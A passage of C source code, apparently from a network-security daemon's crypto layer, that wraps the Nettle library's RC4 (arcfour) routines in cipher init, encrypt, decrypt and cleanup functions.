ctx->alg = alg;
switch (alg) {
case CRYPTO_CIPHER_ALG_RC4:
nettle_arcfour_set_key(&ctx->u.arcfour_ctx, key_len, key);
break;
default:
os_free(ctx);
return NULL;
}
return ctx;
}
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
u8 *crypt, size_t len)
{
switch (ctx->alg) {
case CRYPTO_CIPHER_ALG_RC4:
nettle_arcfour_crypt(&ctx->u.arcfour_ctx, len, crypt, plain);
break;
default:
return -1;
}
return 0;
}
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
u8 *plain, size_t len)
{
switch (ctx->alg) {
case CRYPTO_CIPHER_ALG_RC4:
nettle_arcfour_crypt(&ctx->u.arcfour_ctx, len, plain, crypt);
break;
default:
return -1;
}
return 0;
}
void crypto_cipher_deinit(struct crypto_cipher *ctx)
{
bin_clear_free(ctx, sizeof(*ctx));
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.